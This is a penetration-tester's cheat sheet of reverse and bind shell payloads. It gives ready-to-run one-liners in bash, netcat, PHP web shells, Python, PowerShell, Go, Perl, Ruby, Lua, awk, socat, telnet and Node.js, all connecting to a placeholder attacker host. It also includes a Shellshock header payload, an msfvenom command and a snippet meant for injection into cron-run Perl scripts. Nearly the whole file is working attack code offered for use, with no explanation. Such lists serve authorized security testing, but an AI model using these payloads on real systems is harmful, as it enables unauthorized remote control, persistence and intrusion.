Target.Host.OS.Shells.txt

`` Linux

    @ snippets/linux/shells/

`` Windows

    @ snippets/windows/shells/

`` Shell

    ~$ nohup /bin/bash -i >& /dev/tcp/VAR_ATTACKER_HOST/VAR_ATTACKER_PORT 0>&1
    ~$ exec 77<>/dev/tcp/VAR_ATTACKER_HOST/VAR_ATTACKER_PORT;/bin/sh <&77 >&77 2>&77
    ~$ exec 77<>/dev/tcp/VAR_ATTACKER_HOST/VAR_ATTACKER_PORT && while read line 0<&77; do $line 2>&77 >&77; done

`` nc

    `` Listener

        ~$ nc -klv VAR_ATTACKER_PORT
        ~$ ncat -klv --ssl VAR_ATTACKER_PORT

    `` Shell

        `` nc

            ~$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc VAR_ATTACKER_HOST VAR_ATTACKER_PORT >/tmp/f
            ~$ rm /tmp/f;mkfifo /tmp/f;nc VAR_ATTACKER_HOST VAR_ATTACKER_PORT 0</tmp/f | /bin/sh -i 2>&1 | tee /tmp/f

        `` ncat

            ~$ ncat -e /bin/sh --ssl VAR_ATTACKER_HOST VAR_ATTACKER_PORT

`` PHP

    <?php $sock=fsockopen("VAR_ATTACKER_HOST", VAR_ATTACKER_PORT); $proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>

    <?php passthru('/bin/sh -c "exec nohup setsid /bin/sh 0</dev/tcp/VAR_ATTACKER_HOST/VAR_ATTACKER_PORT 1>&0 2>&0 &"'); ?>

    <?php passthru('/bin/sh -c "exec nohup setsid /bin/sh 0</dev/tcp/'.$_POST["ip"].'/'.$_POST["port"].' 1>&0 2>&0 &"'); ?>

    -- If file descriptor 3 doesn’t work, try 4, 5 or 6
    <?php $sock=fsockopen("VAR_ATTACKER_HOST", VAR_ATTACKER_PORT); exec("/bin/sh -i <&3 >&3 2>&3"); ?>

    <?php passthru($_GET["cmd"]); ?>

    <?php passthru($_GET["cmd"]); die(); ?>

    <?php passthru('rm /tmp/.kernel;mkfifo /tmp/.kernel;cat /tmp/.kernel|/bin/sh -i 2>&1|nc VAR_ATTACKER_HOST VAR_ATTACKER_PORT >/tmp/.kernel'); ?>

    <?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set('max_execution_time',0);$z=@ini_get('disable_functions');if(!empty($z)){$z=preg_replace('/[, ]+/',',',$z);$z=explode(',',$z);$z=array_map('trim',$z);}else{$z=array();}$c=$c." 2>&1\n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f('system')){ob_start();system($c);$w=ob_get_contents();ob_end_clean();}elseif(f('proc_open')){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f('shell_exec')){$w=shell_exec($c);}elseif(f('passthru')){ob_start();passthru($c);$w=ob_get_contents();ob_end_clean();}elseif(f('popen')){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f('exec')){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}print "<pre>".$w."</pre>";?>

    <?php system($_SERVER['HTTP_ACCEPT_LANGUAGE']); ?>

    -- Windows
    <?php @error_reporting(0);@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$s=@fsockopen("tcp://VAR_ATTACKER_HOST",VAR_ATTACKER_PORT);while($c=fread($s,2048)){$out="";if(substr($c,0,3)=='cd '){chdir(substr($c,3,-1));}else if(substr($c,0,4)=="quit"||substr($c,0,4)=="exit"){break;}else{$out=shell_exec(substr($c,0,-1));if($out===false){fwrite($s,$nofuncs);break;}}fwrite($s,$out);}fclose($s);?>

`` Python

    `` GNU/Linux

        ~$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("VAR_ATTACKER_HOST",VAR_ATTACKER_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

    `` Windows

        ~$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("VAR_ATTACKER_HOST",VAR_ATTACKER_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["%ComSpec%"]);'

`` Powershell

    `` CLI

        ~> powershell -NoP -NonI -W Hidden -Exec Bypass -Command $client = New-Object System.Net.Sockets.TCPClient("VAR_ATTACKER_HOST",VAR_ATTACKER_PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
        ~> powershell -nop -c "$ip='VAR_ATTACKER_HOST'; $ic = New-Object System.Net.NetworkInformation.Ping; $po = New-Object System.Net.NetworkInformation.PingOptions; $po.DontFragment = $true; $ic.Send($ip,60*1000, ([text.encoding]::ASCII).GetBytes('OK'), $po); while ($true) { $ry = $ic.Send($ip,60*1000, ([text.encoding]::ASCII).GetBytes(''), $po); if ($ry.Buffer) { $rs = ([text.encoding]::ASCII).GetString($ry.Buffer); $rt = (Invoke-Expression -Command $rs | Out-String ); $ic.Send($ip,60*1000,([text.encoding]::ASCII).GetBytes($rt),$po); } }"

`` go

    echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","VAR_ATTACKER_HOST:VAR_ATTACKER_PORT");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

`` telnetd

    ~$ /usr/sbin/telnetd -l bin/sh -p 25

`` openssl

    ~$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
    ~$ openssl s_server -quiet -key key.pem -cert cert.pem -port <PORT>
    ~$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -CAfile /tmp/cert.pem -verify_return_error -verify 1 -connect VAR_ATTACKER_HOST:VAR_ATTACKER_PORT > /tmp/s; rm /tmp/s

`` Java

    ~$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=VAR_ATTACKER_HOST LPORT=VAR_ATTACKER_PORT -f war > /root/Desktop/shell.war

    @ snippets/java/shells/

`` Lua

    ~$ lua -e "require('socket');require('os');t=socket.tcp();t:connect('VAR_ATTACKER_HOST','VAR_ATTACKER_PORT');os.execute('/bin/sh -i <&3 >&3 2>&3');"

`` Ruby

    ~$ ruby -rsocket -e'f=TCPSocket.open("VAR_ATTACKER_HOST",VAR_ATTACKER_PORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

`` X

    `` Target

        ~$ xterm -display VAR_ATTACKER_HOST:1

    `` Attacker

        ~$ Xnest :1 -listen tcp
        ~$ xhost +VAR_TARGET_HOST

`` telnet

    ~$ rm -f /tmp/p; mknod /tmp/p p && telnet VAR_ATTACKER_HOST VAR_ATTACKER_PORT 0/tmp/p
    ~$ telnet VAR_ATTACKER_HOST 80 | /bin/sh | telnet VAR_ATTACKER_HOST 443

`` Gawk

    ~$ awk 'BEGIN {s = "/inet/tcp/0/VAR_ATTACKER_HOST/VAR_ATTACKER_PORT"; while(1) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

`` Perl

    ~$ perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"VAR_ATTACKER_HOST:VAR_ATTACKER_PORT");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
    ~$ perl -e 'use Socket;$i="VAR_ATTACKER_HOST";$p=VAR_ATTACKER_PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

    `` Minimalistic approach, useful for injecting into Perl scripts (cron jobs?)

        use IO::Socket::INET; $c=new IO::Socket::INET(PeerAddr,"VAR_ATTACKER_HOST:VAR_ATTACKER_PORT");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;

`` socat

    `` Bind

        ~$ socat TCP-LISTEN:VAR_ATTACKER_PORT,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
        ~$ socat FILE:`tty`,raw,echo=0 TCP:VAR_TARGET_HOST:VAR_ATTACKER_PORT

    `` Reverse

        ~$ socat TCP-LISTEN:VAR_ATTACKER_PORT,reuseaddr FILE:`tty`,raw,echo=0
        ~$ socat TCP4:VAR_ATTACKER_HOST:VAR_ATTACKER_PORT EXEC:bash,pty,stderr,setsid,sigint,sane

    `` Encrypted shell

        `` Certificates

            ~$ openssl genrsa -out server.key 1024
            ~$ openssl req -new -key server.key -x509 -days 3653 -out server.crt
            ~$ cat server.key server.crt >server.pem
            ~$ chmod 600 server.key server.pem

            ~$ openssl genrsa -out client.key 1024
            ~$ openssl req -new -key client.key -x509 -days 3653 -out client.crt
            ~$ cat client.key client.crt >client.pem
            ~$ chmod 600 client.key client.pem

        `` Server

            ~$ socat ssl-l:VAR_ATTACKER_PORT,reuseaddr,fork,cert=server.pem,cafile=client.crt,verify=1 exec:/bin/sh,pty,setsid,setpgid,stderr,ctty

        `` Client

            ~$ socat -,raw,echo=0 ssl:VAR_ATTACKER_HOST:VAR_ATTACKER_PORT,cert=client.pem,cafile=server.crt

`` HTTP

    `` Shellshock

        Referer: () { :;}; /bin/sh -c "exec /bin/sh 0</dev/tcp/VAR_ATTACKER_HOST/VAR_ATTACKER_PORT 1>&0 2>&0 &"

`` Node.js

    `` Reverse #1

        (function(){
            var net = require("net"),
                cp = require("child_process"),
                sh = cp.spawn("/bin/sh", []);
            var client = new net.Socket();
            client.connect(VAR_ATTACKER_PORT, "VAR_ATTACKER_HOST", function(){
                client.pipe(sh.stdin);
                sh.stdout.pipe(client);
                sh.stderr.pipe(client);
            });
            return /a/;
        })();

    `` Reverse #2

        require('child_process').exec('nc -e /bin/sh VAR_ATTACKER_HOST VAR_ATTACKER_PORT')